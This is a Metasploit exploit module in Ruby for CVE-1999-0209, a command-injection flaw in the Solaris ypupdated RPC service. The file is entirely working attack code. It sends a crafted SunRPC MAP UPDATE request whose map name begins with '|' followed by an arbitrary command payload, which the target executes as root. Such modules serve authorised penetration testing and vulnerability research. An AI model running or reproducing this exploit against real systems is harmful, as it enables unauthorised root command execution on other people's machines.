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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::SunRPC
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Solaris ypupdated Command Execution',
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      'Description'    => %q{
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        This exploit targets a weakness in the way the ypupdated RPC
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        application uses the command shell when handling a MAP UPDATE
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        request.  Extra commands may be launched through this command
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        shell, which runs as root on the remote host, by passing
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        commands in the format '|<command>'.
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        Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
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        ypupdated is started with the '-i' command-line option.
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      },
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      'Author'         => [ 'I)ruid <druid[at]caughq.org>' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '1999-0209'],
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          ['OSVDB', '11517'],
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          ['BID', '1749'],
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        ],
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      'Privileged'     => true,
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      'Platform'       => %w{ solaris unix },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        => [ ['Automatic', { }], ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '1994-12-12'
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    ))
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    register_options(
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      [
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        OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
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        OptInt.new('GID', [false, 'GID to emulate', 0]),
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        OptInt.new('UID', [false, 'UID to emulate', 0])
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      ], self.class
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    )
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  end
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  def exploit
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    hostname  = datastore['HOSTNAME']
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    program   = 100028
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    progver   = 1
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    procedure = 1
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    print_status('Sending PortMap request for ypupdated program')
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    pport = sunrpc_create('udp', program, progver)
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    print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
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    print_status('Waiting for response...')
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    sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
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    command = '|' + payload.encoded
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    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
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    sunrpc_call(procedure, msg)
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    sunrpc_destroy
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    print_status('No Errors, appears to have succeeded!')
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  rescue ::Rex::Proto::SunRPC::RPCTimeout
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    print_warning('Warning: ' + $!)
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  end
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end
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